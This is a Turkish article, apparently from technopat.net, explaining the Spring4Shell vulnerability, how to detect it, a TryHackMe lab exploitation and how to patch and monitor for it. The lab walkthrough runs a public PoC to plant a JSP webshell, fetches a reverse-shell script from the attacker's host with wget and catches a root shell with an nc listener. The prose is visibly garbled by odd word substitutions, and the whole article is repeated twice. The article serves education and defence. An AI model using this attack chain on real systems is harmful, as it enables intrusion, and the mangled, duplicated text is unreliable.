Evvel Log4Shell, artık de Spring4Shell derken güvenlik dünyası bir müddetdir Java frameworklerindeki zafiyetlerle boğuşuyor. Medyatik manada Log4Shell kadar ses getirmese de en az bi’ o kadar tehlikeli olan Spring4Shell nedir, sıradançe nasıl istismar edilir ve önlemek için neler yapılmalı bu yazımızda ayrıntılıca değinmeye çalışacağız.
Java uygulamalarında çoğunlukla kullanılan framework yapılarından Spring, temelde geliştirme sürecini düzenleyen bir çatı diyebiliriz. MVC web uygulamaları, bilgi sürece, objeye dayalı (object-oriented) programlama üzere alanlarda çeşitli modüller geliştirmek için yazılımcılar içinde yavaşça olması niçiniyle pek tanınan.
2022’nin Mart ayının sonlarına yakın bir vakitte Spring üzerinde iki adet RCE zafiyeti tam olarak bilinmeyen şahıslarca halka açık hale getirildi. Birinci zafiyet frameworkteki Spring Cloud Functions (CVE-2022-22963) isimli bileşiği etkilerken, ikincisi direkt yapının kalbi olan Spring Core’u (CVE-2022-22965) hedefliyordu. İkisi de risk kelam konusu olduğunda pek tehlikeli ama Core yapısı üzerinde çıkan açıklık potansiyel manada saldırılmaya daha elverişli olduğundan araştırmacılar tarafınca Spring4Shell ismi verildi. ondan sonrasında CVE-2022-22947 koduyla “Spring Cloud Gateway” üzerinde de üçüncü bir RCE bulundu.
Spring4Shell, Spring Framework kullanılarak geliştirilen uygulamalarda objelere çeşitli parametreler bağlama özelliğinin berbata kullanılmasından meydana gelen bir açıklık diyebiliriz. Saldırgan tarafınca gönderilen makus gayeli girdilerle gayede RCE (Remote Code Execution) ismi verilen tipten kod yürütmek mümkün hale geliyor.
birinci vakit içinderda Çinli bir güvenlik araştırmacısı tarafınca paylaşılıp ondan sonrasında silinen bir Twitter gönderisinde sıfırıncı gün (zero-day) olarak ortaya çıktığı söylenen Spring4Shell zafiyeti, temelinde daha evvel CVE-2010-1622 koduyla bilinen başarısız biçimde yamalanmış ve unutulmuş eski bir açıklığa dayanıyor. CVE-2010-1622 de benzeri biçimde gelen HTTP isteklerindeki bilgilerin işlenme biçimindeki kusurlar niçiniyle amaçta kod çalıştırmaya imkan tanıyordu.
Yamalar birden fazla güvenlik açığını kapatmak için işe yarasa da, geliştiriciler tarafınca dikkatli ve zafiyetin kesin olarak kapatıldığından emin olunmadan yayınlananlar 12 yıl daha sonra bile bilişim başına bela olabiliyor.
Şu anlık Microsoft’un yayınladığı dökümana nazaran aşağıdaki konfigürasyonlara sahip bir yapı kullanıyorsanız tebrikler, ışık topu üzere bir yüksek riskli güvenlik açığına sahipsiniz.
Durumu netleştirmek için cURL sayesinde maksada aşağıdaki üzere makûs gayeli olmayan bir HTTP isteği gönderilip cevaba bakılabilir.
curl ADRESORT/YOL?class.module.classLoader.URLs%5B0%5D=0
İlgili HTTP isteğine gelen karşılık kodu 400 ise, sistem dışarıdan yapılacak mümkün Spring4Shell hücumlarına karşı açık demektir. Saldırganlar bunu gördükten daha sonra PoC (Proof-of Concept / Kavram Kanıtı) olarak paylaşılan exploit sayesinde sisteme kod yürütmeyi sağlayacak bir “JSP shell” bırakabilirler.
Bir öbür tespit sistemi olarak ise amaçta otomatik olarak açıklıkları bulan araçlar kullanmak olabilir. Invicti, Acunetix, BurpSuite Pro ve gibisi fiyatlı araçların son sürümleri web sitelerini crawl edip sonrasındasında tarayarak daha âlâ sonuçlar verse de sıradan tespitler için FullHunt tarafınca open-source olarak yayınlanan ve çok kolay olan Spring4Shell-Scan isimli araçtan yararlanılabilir.
1 – Tespit emeliyle web sitesinde tarama yapmak hedefiyle aracı internetten indirmemiz gerekiyor. Ben halihazırda Windows 11 kullandığım için anlatımı bu sistem üzerinden gerçekleştireceğim, sizler de aynılarını hangi işletim sistemini kullanıyorsanız orada uygulayabilirsiniz. Rastgele bir sorun olmayacaktır.
GitHub sayfası üzerinden kelam konusu yazılımı edinmek için önümüzde iki yol bulunuyor. ZIP olarak indirmek yahut git kullanarak repodan direkt çekmek. Bana repodan çekmek daha kolay geldiği için onu tercih ettim.
2 – Tarayıcımızı indirdikten daha sonrasında bu bir Python 3 programı olduğundan çalışabilmesi için Python 3’ün kendisi ve birtakım bağımlılıklarını kurmamız gerekiyor. Benim sistemimde halihazırda Python 3 yorumlayıcısı olduğu için uğraşmadım, direkt pip -r install requirements.txt komutu ile programımızın bağımlılıklarını kuruyorum.
3 – Artık çalıştırabiliriz. python spring4shell.py -h diyerek evvela kullanması hakkında bilgi ediniyorum çünkü taramayı bu seçenekleri kullanarak amaç üzerinde gerçekleştireceğiz.
4 – Parametrelerimi belirleyip amaç adresimi taramaya başlıyorum. Unutulmaması gereken nokta şu ki, scanner içerisinde bir crawl yapısı olmadığından ne yazık ki web sitenizin tamamını denetim etmiyor ve yalnızca verdiğiniz sayfayla yetiniyor. halbuki Spring Framework’ün kullanıldığı diğer zafiyetli alanlar pek olağan olabilir. -u maksadı belirtmeye, –test-CVE-2022-22963 ise nispeten daha düşük riskli görülen Spring Cloud Functions zafiyetine yönelik taramaya yapmaya yarıyor. –waf-bypass ile de amaçta rastgele bir “Web Application Firewall” var ise onu atlatmaya yarıyor. Ne kadar işe yaradığı olağan ki kuşkulu.
Ben burada technopat.net üzerine bir tarama başlattım, gördüğünüz üzere bizim sitemizde bu biçimde bir açık kelam konusu değil, aslına bakarsan rastgele bir Java teknolojisi kullanmıyoruz.
Araç epey hoş bir biçimde işini yapsa da hedefiniz önemli bir tespitte bulunmaksa Invicti, BurpSuite Pro, Acunetix üzere profesyonel web tarama araçlarını kullanmanızı öneririm.
Bir güvenlik açığının tesirini anlayabilmek için, onun gaye üstündeki tesirlerini görmek teorik manada söylenecek her şeyden hayli daha öğreticidir. Bu niçinle yazımızın bu kısmını TryHackMe üzerinde yer alan “Spring4Shell: CVE-2022-22965“ isimli makinenin uygulamalı tahliline ayırdım.
Bilerek Spring4Shell zafiyetini içeren bir web uygulaması olarak tasarlanan bu makineye evvela zafiyeti tespit edecek, çabucak sonrasında da yayınlanan exploit sayesinde erişim sağlayacağız.
Bahse yabancı okurlarımız için ek bir bilgilendirme yapmış olalım, TryHackMe siber güvenlik alanında bildiklerinizi uygulamalı olarak denemenize imkan sağlayan fiyatsız ve çok öğretici bir platform. İçerisinde yer alan makineleri ele geçirdikçe yahut CTF’leri çözdükçe puan topluyorsunuz. Buradaki sistemler yalnızca ele geçirelim diye tasarlanmışlar. Yani rastgele bir yasa dışı durum kelam konusu değil.
Fazla uzatmadan başlayalım.
1 – Uzak sunucuda bulunan Kali Linux şurası sistemime SSH ilişkisi yaparak Windows Terminal’den erişim sağlıyorum. Faaliyetlerimi buradan yürüteceğim. Sizin de uygulamaları yapacağınız sistemin illa Kali yahut Windows bulunmasına gerek yok. Ben bu türlü daha rahat çalıştığım için tercih ediyorum.
Makinemizi TryHackMe üzerinde başlattıktan daha sonra zafiyetli sistemin olduğu ağa dahil olmak için gereken VPN config’imi edinip kontağımı sağladım.
Odada bizi verilen 4 bakılırsav var. Bunlardan 3’ü teorik ve okuma odaklı olduğu için onları size bırakıyorum. Ben direkt uygulamalı olan “Task 3: Practical Exploitation” kısmından başlayacağım. Gayemizin IP adresi de belirli olduğuna göre denetimlerimize başlayabiliriz.
2 – Spring4Shell-Scan aracına IP adresini uygun parametrelerle vererek ufak bir tarama yaptırıyorum. Çıkan sonuçlara göre maksatta Spring4Shell açığının var olduğunu nazaranbiliyoruz. daha sonrasındasında ise sömürüde kullanacağımız exploitimi kendi GitHub reposu üzerinden git clone komutu ile çekiyorum.
3 – poc.py bizim maksatta kullanacağımız exploit. python3 poc.py -h diyerek evvel nasıl kullanabileceğim hakkında bilgi ediniyor, sonrasındasındasında python poc.py –url http://10.10.204.71/ ile uyguluyorum. Başarılı olduğumuz için karşı sistemde bizim komut yürütmemize yarayan sıradan bir JSP webshell oluşturdu. Kontakta yer alan whoami komutu da örnek olarak konulmuş. Bunu bir web tarayıcısı kullanarak görüntüleyebiliriz.
4 – Görüldüğü üzere whoami komutunu çalıştırmış ve root karşılığını bize döndürmüş. Garanti olsun diye dizindeki evrakları da ls -la ile listelemeye çalıştığımızda komutların muvaffakiyetle yürütüldüğü görülebilir.
5 – Aslında makineyi bitirmek için bu kadarı kâfi çünkü cat /root/root.txt formunda bizden bulmamız istenen “flag” kıymetini okuyabiliriz. Ancak ben web kabuğundan fazla daha hayli hareket kabiliyetine imkan tanıyan bir “reverse shell” kontağı gayeden nasıl alınabilir onu da göstermek istiyorum. Saldırganlar da çoklukla işi bir üst noktaya taşımak için bu süreçleri uygulayacaktır.
GNU Nano kullanarak hekir.sh ismini verdiğim sıradan bir evrak oluşturuyorum ve içeriğine reverse shell irtibatı almama yarayan bir bash kodu yerleştiriyorum. Burada yer alan IP adresi bizim kendi IP adresimiz, 1337 ise temas isteğini alacağımız port. sonrasındasında CTRL + S, CTRL + X ile kaydedip çıkabiliriz.
6 – Oluşturduğumuz reverse shell almaya yarayan bash scriptini zafiyetli maksadımıza çekip çalıştırabilmemiz için de birkaç şey yapmamız gerekiyor.
Hatırlayalım, elimizdeki web shell halihazırda aslına bakarsan kod yürütmemize imkan tanıyor. Bu sayede evvela python3 -m http.server 80 komutunu kullanarak kendi sistemimizde sıradan bir web sunucusu oluşturabilir ve çabucak akabinde web kabuğumuza wget http://10.8.198.213/hekir.sh parametresini göndererek belgemizi gayemize çekebiliriz.
Süreçlerin hepsini yanlışsız yaptıysanız, açtığımız küçük web server’ın loglarında oluşturduğumuz belgenin zafiyetli makine tarafınca bizden indirildiğini bakılırsaceksiniz.
7 – nc -lvnp 1337 diyerek 1337. porttan gelecek istekleri dinlemeye başladıktan daha sonra artık web kabuğumuzu kullanarak yüklediğimiz belgeyi çalıştırabiliriz. Tarayıcıdan bash hekir.sh parametresini verdiğimiz anda terminalimize reverse shell kontağımız düşecektir. Artık sistemde istediğinizi daha rahat bir biçimde yapabilirsiniz.
Öncelikle güvenlik açığından etkilendiğinden emin olunan sistemlerin tamamında Spring ve Apache tarafınca yayınlanan güncellemeler uygulanmalıdır.
Sadece Spring Framework kullananlar 5.3.18 yahut 5.2.20, Spring Boot kullananlar ise yamalı framework sürümlerine dayanan 2.5.12 ve 2.6.6 sürümlerine yükseltme yapmaları gerekiyor. Apache Vakfı tarafınca da Tomcat üzerinde atak vektörünün çalışmasını engelleyen birtakım düzeltmeler yayınlandı. Eser ve geliştirme ortamında Tomcat kullananlar 10.0.20, 9.0.62 ve 8.5.78 olmak üzere 3 versiyon için yayınlanan güncellemelerden uygun olanını yapmalılar.
Rastgele bir niçinden ötürü yamaları uygulayamıyorsanız Spring’in resmi blog duyurusunda yer alan tedbirleri süreksiz müddetliğine kullanabilirsiniz.
Tespit için kurumsal maksatlı kullanılan biroldukça SIEM ve detection tahlili açığın birinci günlerinde uygun kurallar yayınladı, bilinen bir yazılım kullanıyorsanız şimdi hepsi uygun biçimde Spring4Shell teşebbüslerini algılayacaktır. VMware Carbon Black 7 Nisan, Microsoft Azure WAF ise 11 Nisan’dan itibaren çarçabuk tespit ve engelleme yapabiliyor.
Snort kullanan kuruluşlar da Cisco Talos tarafınca yazılan 30790, 30791, 30792 30793, 59388 ve 59416 SID kodlu kuralları algılama yapılarına ekleyebilirler. Cisco Talos tarafınca sistemli olarak geliştirilen bu kurallara yıllık 29 dolar bir fiyat karşılığında ulaşılabilmekte.
Fiyatsız WAF tahlillerinden ModSecurity kullananlar 944130 ve 944250 imzalarını, FortiGate NGFW için 51352, Palo Alto NGFW tahlillerinden yararlananlar ise 92394’ü uygulayabilirler.
Özel olarak SoC grupları classLoader geçen istekleri denetim edecek kurallar da yazabilir.
Ayrıyeten Spring4Shell ile birlikte birtakım öbür uygulamalar da dolaylı olarak zafiyetten etkilendi. VMWare Tanzu mamüllerini kullanıyorsanız Spring4Shell kaynaklı açıklıklardan korunmak gayesiyle yayınlanan şu güncellemeleri yapmalısınız:
360 Security NetLab araştırmacıları tarafınca zafiyetin açıklanmasından daha sonra kurulan honeypot datalarına bakılırsa başta ABD (92 adet) ve Hollanda (49 adet) pozisyonlarında olmak üzere biroldukca ülkede yer alan sunuculardan Spring4Shell için zafiyetli amaçları tespit gayeli taramalar çıktığı görüldü. Otomatik botlarla yapıldığı düşünülen sömürü denemelerinde ekseriyetle gayelere farklı isimlerle web kabukları yüklenilmeye çalışıldı.
Spring4Shell zafiyetine dair taramalar yapan sunucuların lokasyonları. – Görsel Kaynağı: 360 Security NetLab
Elde edilen öteki bir değişik bilgi ise sistemleri ele geçirmek üzere birinci denemeyi yapan botnet ağı Mirai’nin bir varyantı oldu. Ekseriyetle IoT aygıtlarını hedefleyen Mirai, geçtiğimiz periyotlarda çok büyük DDoS ataklarında baş aktör olmuştu. HackForums üyesi Anna-Senpai isimli kullanıcı tarafınca kaynak kodları halka açık olarak yayınlanmasından daha sonra ise tek bir takım değil bilakis birden fazla siber saldırganın daha da geliştirip kullanımıyla botnetler kurduğu bir yazılım haline geldi diyebiliriz.
Bilerek güvenlik açığı barındıracak biçimde tasarlanmış honeypotlara saldırganlar ve botlar en hayli “log222.txt” ve “log111.txt” ismiyle web kabukları yüklemeye çalıştılar. Buradan da yola çıkarak diyebiliriz ki başka ayrı sunuculardan gelen bu otomatik yahut manuel atakların büyük bir kısmı birebir aktörler tarafınca koordine edilmekte.
Maksatlara yüklenilmeye çalışılan webshell isimleri. – Görsel Kaynağı: 360 Security NetLab
Devlet takviyeli aktörler ise Log4Shell’in bilakis Spring4Shell açıklarını kullanarak bu sefer maksatlara saldırma eğiliminde pek bulunmadılar. Yeni sayılabilecek bir zafiyet olduğu için net bir şeyler diyemesek de, güvenlik araştırmacıları tarafınca tespit edilmiş bir bulgu çabucak hemen yok. Olağan tehdit aktörlerinin bundan ne kadar yarar sağladığını ve ziyan verdiğini anlayabilmek içinse biraz vakit geçmesini beklemek gerekecek.
Sonuç
Bu yazımızda Technopat.net olarak her daim olduğu üzere okurlarımızı hakikat bilgilendirmek ismine ayrıntılıca araştırmalar yaparak raporvari bir makale derlemesi yapmaya çalıştık. Spring4Shell’in ne olduğunu, neyden kaynaklandığını açıklamanın yanı sıra hücum, savunma ve tespit hallerine de muharrir olarak sıradançe değinmeye çalıştım. Teknik ayrıntılara fazlaca boğmadan bütün bilişim sevdalılarının anlayabileceği biçimde yazmak sıkıntı olsa da, umarım yararı dokunmuştur. Merak ettikleriniz ve sorularınız var ise yorumlarda belirtebilir, tenkitlerinizi hiç çekinmeden yapabilirsiniz. Esen kalınız.
Sorumluluk Reddi: Yazı boyunca anlatılanların hepsi sırf eğitim gayelidir ve bilişim profesyonellerine yöneliktir. Bir sistemin nasıl ele geçirilebileceği bilinmeden faal bir biçimde korumak mümkün olmayacağı için sömürü teknikleri hakkında da bilgiler verilmiştir. Bu ayrıntıların makûs niyetli kullanımlarından Technopat.net ve muharrir sorumlu tutulamaz.
Java uygulamalarında çoğunlukla kullanılan framework yapılarından Spring, temelde geliştirme sürecini düzenleyen bir çatı diyebiliriz. MVC web uygulamaları, bilgi sürece, objeye dayalı (object-oriented) programlama üzere alanlarda çeşitli modüller geliştirmek için yazılımcılar içinde yavaşça olması niçiniyle pek tanınan.
2022’nin Mart ayının sonlarına yakın bir vakitte Spring üzerinde iki adet RCE zafiyeti tam olarak bilinmeyen şahıslarca halka açık hale getirildi. Birinci zafiyet frameworkteki Spring Cloud Functions (CVE-2022-22963) isimli bileşiği etkilerken, ikincisi direkt yapının kalbi olan Spring Core’u (CVE-2022-22965) hedefliyordu. İkisi de risk kelam konusu olduğunda pek tehlikeli ama Core yapısı üzerinde çıkan açıklık potansiyel manada saldırılmaya daha elverişli olduğundan araştırmacılar tarafınca Spring4Shell ismi verildi. ondan sonrasında CVE-2022-22947 koduyla “Spring Cloud Gateway” üzerinde de üçüncü bir RCE bulundu.
Spring4Shell, Spring Framework kullanılarak geliştirilen uygulamalarda objelere çeşitli parametreler bağlama özelliğinin berbata kullanılmasından meydana gelen bir açıklık diyebiliriz. Saldırgan tarafınca gönderilen makus gayeli girdilerle gayede RCE (Remote Code Execution) ismi verilen tipten kod yürütmek mümkün hale geliyor.
birinci vakit içinderda Çinli bir güvenlik araştırmacısı tarafınca paylaşılıp ondan sonrasında silinen bir Twitter gönderisinde sıfırıncı gün (zero-day) olarak ortaya çıktığı söylenen Spring4Shell zafiyeti, temelinde daha evvel CVE-2010-1622 koduyla bilinen başarısız biçimde yamalanmış ve unutulmuş eski bir açıklığa dayanıyor. CVE-2010-1622 de benzeri biçimde gelen HTTP isteklerindeki bilgilerin işlenme biçimindeki kusurlar niçiniyle amaçta kod çalıştırmaya imkan tanıyordu.
Yamalar birden fazla güvenlik açığını kapatmak için işe yarasa da, geliştiriciler tarafınca dikkatli ve zafiyetin kesin olarak kapatıldığından emin olunmadan yayınlananlar 12 yıl daha sonra bile bilişim başına bela olabiliyor.
Şu anlık Microsoft’un yayınladığı dökümana nazaran aşağıdaki konfigürasyonlara sahip bir yapı kullanıyorsanız tebrikler, ışık topu üzere bir yüksek riskli güvenlik açığına sahipsiniz.
- Java Development Kit’in 9.0 yahut daha üst sürümünü çalıştırmak
- Spring Framework 5.3.0 – 5.3.17, 5.2.0 ve 5.2.19 ila evvelki sürümleri kullanıyor olmak
- Zafiyetli Spring çalıştıran Apache Tomcat kullanıyor olmak
Durumu netleştirmek için cURL sayesinde maksada aşağıdaki üzere makûs gayeli olmayan bir HTTP isteği gönderilip cevaba bakılabilir.
curl ADRESORT/YOL?class.module.classLoader.URLs%5B0%5D=0
İlgili HTTP isteğine gelen karşılık kodu 400 ise, sistem dışarıdan yapılacak mümkün Spring4Shell hücumlarına karşı açık demektir. Saldırganlar bunu gördükten daha sonra PoC (Proof-of Concept / Kavram Kanıtı) olarak paylaşılan exploit sayesinde sisteme kod yürütmeyi sağlayacak bir “JSP shell” bırakabilirler.
Bir öbür tespit sistemi olarak ise amaçta otomatik olarak açıklıkları bulan araçlar kullanmak olabilir. Invicti, Acunetix, BurpSuite Pro ve gibisi fiyatlı araçların son sürümleri web sitelerini crawl edip sonrasındasında tarayarak daha âlâ sonuçlar verse de sıradan tespitler için FullHunt tarafınca open-source olarak yayınlanan ve çok kolay olan Spring4Shell-Scan isimli araçtan yararlanılabilir.
1 – Tespit emeliyle web sitesinde tarama yapmak hedefiyle aracı internetten indirmemiz gerekiyor. Ben halihazırda Windows 11 kullandığım için anlatımı bu sistem üzerinden gerçekleştireceğim, sizler de aynılarını hangi işletim sistemini kullanıyorsanız orada uygulayabilirsiniz. Rastgele bir sorun olmayacaktır.
GitHub sayfası üzerinden kelam konusu yazılımı edinmek için önümüzde iki yol bulunuyor. ZIP olarak indirmek yahut git kullanarak repodan direkt çekmek. Bana repodan çekmek daha kolay geldiği için onu tercih ettim.
2 – Tarayıcımızı indirdikten daha sonrasında bu bir Python 3 programı olduğundan çalışabilmesi için Python 3’ün kendisi ve birtakım bağımlılıklarını kurmamız gerekiyor. Benim sistemimde halihazırda Python 3 yorumlayıcısı olduğu için uğraşmadım, direkt pip -r install requirements.txt komutu ile programımızın bağımlılıklarını kuruyorum.
3 – Artık çalıştırabiliriz. python spring4shell.py -h diyerek evvela kullanması hakkında bilgi ediniyorum çünkü taramayı bu seçenekleri kullanarak amaç üzerinde gerçekleştireceğiz.
4 – Parametrelerimi belirleyip amaç adresimi taramaya başlıyorum. Unutulmaması gereken nokta şu ki, scanner içerisinde bir crawl yapısı olmadığından ne yazık ki web sitenizin tamamını denetim etmiyor ve yalnızca verdiğiniz sayfayla yetiniyor. halbuki Spring Framework’ün kullanıldığı diğer zafiyetli alanlar pek olağan olabilir. -u maksadı belirtmeye, –test-CVE-2022-22963 ise nispeten daha düşük riskli görülen Spring Cloud Functions zafiyetine yönelik taramaya yapmaya yarıyor. –waf-bypass ile de amaçta rastgele bir “Web Application Firewall” var ise onu atlatmaya yarıyor. Ne kadar işe yaradığı olağan ki kuşkulu.
Ben burada technopat.net üzerine bir tarama başlattım, gördüğünüz üzere bizim sitemizde bu biçimde bir açık kelam konusu değil, aslına bakarsan rastgele bir Java teknolojisi kullanmıyoruz.
Araç epey hoş bir biçimde işini yapsa da hedefiniz önemli bir tespitte bulunmaksa Invicti, BurpSuite Pro, Acunetix üzere profesyonel web tarama araçlarını kullanmanızı öneririm.
Bir güvenlik açığının tesirini anlayabilmek için, onun gaye üstündeki tesirlerini görmek teorik manada söylenecek her şeyden hayli daha öğreticidir. Bu niçinle yazımızın bu kısmını TryHackMe üzerinde yer alan “Spring4Shell: CVE-2022-22965“ isimli makinenin uygulamalı tahliline ayırdım.
Bilerek Spring4Shell zafiyetini içeren bir web uygulaması olarak tasarlanan bu makineye evvela zafiyeti tespit edecek, çabucak sonrasında da yayınlanan exploit sayesinde erişim sağlayacağız.
Bahse yabancı okurlarımız için ek bir bilgilendirme yapmış olalım, TryHackMe siber güvenlik alanında bildiklerinizi uygulamalı olarak denemenize imkan sağlayan fiyatsız ve çok öğretici bir platform. İçerisinde yer alan makineleri ele geçirdikçe yahut CTF’leri çözdükçe puan topluyorsunuz. Buradaki sistemler yalnızca ele geçirelim diye tasarlanmışlar. Yani rastgele bir yasa dışı durum kelam konusu değil.
Fazla uzatmadan başlayalım.
1 – Uzak sunucuda bulunan Kali Linux şurası sistemime SSH ilişkisi yaparak Windows Terminal’den erişim sağlıyorum. Faaliyetlerimi buradan yürüteceğim. Sizin de uygulamaları yapacağınız sistemin illa Kali yahut Windows bulunmasına gerek yok. Ben bu türlü daha rahat çalıştığım için tercih ediyorum.
Makinemizi TryHackMe üzerinde başlattıktan daha sonra zafiyetli sistemin olduğu ağa dahil olmak için gereken VPN config’imi edinip kontağımı sağladım.
Odada bizi verilen 4 bakılırsav var. Bunlardan 3’ü teorik ve okuma odaklı olduğu için onları size bırakıyorum. Ben direkt uygulamalı olan “Task 3: Practical Exploitation” kısmından başlayacağım. Gayemizin IP adresi de belirli olduğuna göre denetimlerimize başlayabiliriz.
2 – Spring4Shell-Scan aracına IP adresini uygun parametrelerle vererek ufak bir tarama yaptırıyorum. Çıkan sonuçlara göre maksatta Spring4Shell açığının var olduğunu nazaranbiliyoruz. daha sonrasındasında ise sömürüde kullanacağımız exploitimi kendi GitHub reposu üzerinden git clone komutu ile çekiyorum.
3 – poc.py bizim maksatta kullanacağımız exploit. python3 poc.py -h diyerek evvel nasıl kullanabileceğim hakkında bilgi ediniyor, sonrasındasındasında python poc.py –url http://10.10.204.71/ ile uyguluyorum. Başarılı olduğumuz için karşı sistemde bizim komut yürütmemize yarayan sıradan bir JSP webshell oluşturdu. Kontakta yer alan whoami komutu da örnek olarak konulmuş. Bunu bir web tarayıcısı kullanarak görüntüleyebiliriz.
4 – Görüldüğü üzere whoami komutunu çalıştırmış ve root karşılığını bize döndürmüş. Garanti olsun diye dizindeki evrakları da ls -la ile listelemeye çalıştığımızda komutların muvaffakiyetle yürütüldüğü görülebilir.
5 – Aslında makineyi bitirmek için bu kadarı kâfi çünkü cat /root/root.txt formunda bizden bulmamız istenen “flag” kıymetini okuyabiliriz. Ancak ben web kabuğundan fazla daha hayli hareket kabiliyetine imkan tanıyan bir “reverse shell” kontağı gayeden nasıl alınabilir onu da göstermek istiyorum. Saldırganlar da çoklukla işi bir üst noktaya taşımak için bu süreçleri uygulayacaktır.
GNU Nano kullanarak hekir.sh ismini verdiğim sıradan bir evrak oluşturuyorum ve içeriğine reverse shell irtibatı almama yarayan bir bash kodu yerleştiriyorum. Burada yer alan IP adresi bizim kendi IP adresimiz, 1337 ise temas isteğini alacağımız port. sonrasındasında CTRL + S, CTRL + X ile kaydedip çıkabiliriz.
6 – Oluşturduğumuz reverse shell almaya yarayan bash scriptini zafiyetli maksadımıza çekip çalıştırabilmemiz için de birkaç şey yapmamız gerekiyor.
Hatırlayalım, elimizdeki web shell halihazırda aslına bakarsan kod yürütmemize imkan tanıyor. Bu sayede evvela python3 -m http.server 80 komutunu kullanarak kendi sistemimizde sıradan bir web sunucusu oluşturabilir ve çabucak akabinde web kabuğumuza wget http://10.8.198.213/hekir.sh parametresini göndererek belgemizi gayemize çekebiliriz.
Süreçlerin hepsini yanlışsız yaptıysanız, açtığımız küçük web server’ın loglarında oluşturduğumuz belgenin zafiyetli makine tarafınca bizden indirildiğini bakılırsaceksiniz.
7 – nc -lvnp 1337 diyerek 1337. porttan gelecek istekleri dinlemeye başladıktan daha sonra artık web kabuğumuzu kullanarak yüklediğimiz belgeyi çalıştırabiliriz. Tarayıcıdan bash hekir.sh parametresini verdiğimiz anda terminalimize reverse shell kontağımız düşecektir. Artık sistemde istediğinizi daha rahat bir biçimde yapabilirsiniz.
Öncelikle güvenlik açığından etkilendiğinden emin olunan sistemlerin tamamında Spring ve Apache tarafınca yayınlanan güncellemeler uygulanmalıdır.
Sadece Spring Framework kullananlar 5.3.18 yahut 5.2.20, Spring Boot kullananlar ise yamalı framework sürümlerine dayanan 2.5.12 ve 2.6.6 sürümlerine yükseltme yapmaları gerekiyor. Apache Vakfı tarafınca da Tomcat üzerinde atak vektörünün çalışmasını engelleyen birtakım düzeltmeler yayınlandı. Eser ve geliştirme ortamında Tomcat kullananlar 10.0.20, 9.0.62 ve 8.5.78 olmak üzere 3 versiyon için yayınlanan güncellemelerden uygun olanını yapmalılar.
Rastgele bir niçinden ötürü yamaları uygulayamıyorsanız Spring’in resmi blog duyurusunda yer alan tedbirleri süreksiz müddetliğine kullanabilirsiniz.
Tespit için kurumsal maksatlı kullanılan biroldukça SIEM ve detection tahlili açığın birinci günlerinde uygun kurallar yayınladı, bilinen bir yazılım kullanıyorsanız şimdi hepsi uygun biçimde Spring4Shell teşebbüslerini algılayacaktır. VMware Carbon Black 7 Nisan, Microsoft Azure WAF ise 11 Nisan’dan itibaren çarçabuk tespit ve engelleme yapabiliyor.
Snort kullanan kuruluşlar da Cisco Talos tarafınca yazılan 30790, 30791, 30792 30793, 59388 ve 59416 SID kodlu kuralları algılama yapılarına ekleyebilirler. Cisco Talos tarafınca sistemli olarak geliştirilen bu kurallara yıllık 29 dolar bir fiyat karşılığında ulaşılabilmekte.
Fiyatsız WAF tahlillerinden ModSecurity kullananlar 944130 ve 944250 imzalarını, FortiGate NGFW için 51352, Palo Alto NGFW tahlillerinden yararlananlar ise 92394’ü uygulayabilirler.
Özel olarak SoC grupları classLoader geçen istekleri denetim edecek kurallar da yazabilir.
Ayrıyeten Spring4Shell ile birlikte birtakım öbür uygulamalar da dolaylı olarak zafiyetten etkilendi. VMWare Tanzu mamüllerini kullanıyorsanız Spring4Shell kaynaklı açıklıklardan korunmak gayesiyle yayınlanan şu güncellemeleri yapmalısınız:
- VMware Tanzu Application Service for VMs – 2.10 sürümünden 2.13’e
- VMware Tanzu Operations Manager – 2.8 sürümünden 2.9’a
- VMware Tanzu Kubernetes Grid Integrated Edition (TKGI) – 1.11’den 1.13’e.
360 Security NetLab araştırmacıları tarafınca zafiyetin açıklanmasından daha sonra kurulan honeypot datalarına bakılırsa başta ABD (92 adet) ve Hollanda (49 adet) pozisyonlarında olmak üzere biroldukca ülkede yer alan sunuculardan Spring4Shell için zafiyetli amaçları tespit gayeli taramalar çıktığı görüldü. Otomatik botlarla yapıldığı düşünülen sömürü denemelerinde ekseriyetle gayelere farklı isimlerle web kabukları yüklenilmeye çalışıldı.
Spring4Shell zafiyetine dair taramalar yapan sunucuların lokasyonları. – Görsel Kaynağı: 360 Security NetLab
Elde edilen öteki bir değişik bilgi ise sistemleri ele geçirmek üzere birinci denemeyi yapan botnet ağı Mirai’nin bir varyantı oldu. Ekseriyetle IoT aygıtlarını hedefleyen Mirai, geçtiğimiz periyotlarda çok büyük DDoS ataklarında baş aktör olmuştu. HackForums üyesi Anna-Senpai isimli kullanıcı tarafınca kaynak kodları halka açık olarak yayınlanmasından daha sonra ise tek bir takım değil bilakis birden fazla siber saldırganın daha da geliştirip kullanımıyla botnetler kurduğu bir yazılım haline geldi diyebiliriz.
Bilerek güvenlik açığı barındıracak biçimde tasarlanmış honeypotlara saldırganlar ve botlar en hayli “log222.txt” ve “log111.txt” ismiyle web kabukları yüklemeye çalıştılar. Buradan da yola çıkarak diyebiliriz ki başka ayrı sunuculardan gelen bu otomatik yahut manuel atakların büyük bir kısmı birebir aktörler tarafınca koordine edilmekte.
Maksatlara yüklenilmeye çalışılan webshell isimleri. – Görsel Kaynağı: 360 Security NetLab
Devlet takviyeli aktörler ise Log4Shell’in bilakis Spring4Shell açıklarını kullanarak bu sefer maksatlara saldırma eğiliminde pek bulunmadılar. Yeni sayılabilecek bir zafiyet olduğu için net bir şeyler diyemesek de, güvenlik araştırmacıları tarafınca tespit edilmiş bir bulgu çabucak hemen yok. Olağan tehdit aktörlerinin bundan ne kadar yarar sağladığını ve ziyan verdiğini anlayabilmek içinse biraz vakit geçmesini beklemek gerekecek.
Sonuç
Bu yazımızda Technopat.net olarak her daim olduğu üzere okurlarımızı hakikat bilgilendirmek ismine ayrıntılıca araştırmalar yaparak raporvari bir makale derlemesi yapmaya çalıştık. Spring4Shell’in ne olduğunu, neyden kaynaklandığını açıklamanın yanı sıra hücum, savunma ve tespit hallerine de muharrir olarak sıradançe değinmeye çalıştım. Teknik ayrıntılara fazlaca boğmadan bütün bilişim sevdalılarının anlayabileceği biçimde yazmak sıkıntı olsa da, umarım yararı dokunmuştur. Merak ettikleriniz ve sorularınız var ise yorumlarda belirtebilir, tenkitlerinizi hiç çekinmeden yapabilirsiniz. Esen kalınız.
Sorumluluk Reddi: Yazı boyunca anlatılanların hepsi sırf eğitim gayelidir ve bilişim profesyonellerine yöneliktir. Bir sistemin nasıl ele geçirilebileceği bilinmeden faal bir biçimde korumak mümkün olmayacağı için sömürü teknikleri hakkında da bilgiler verilmiştir. Bu ayrıntıların makûs niyetli kullanımlarından Technopat.net ve muharrir sorumlu tutulamaz.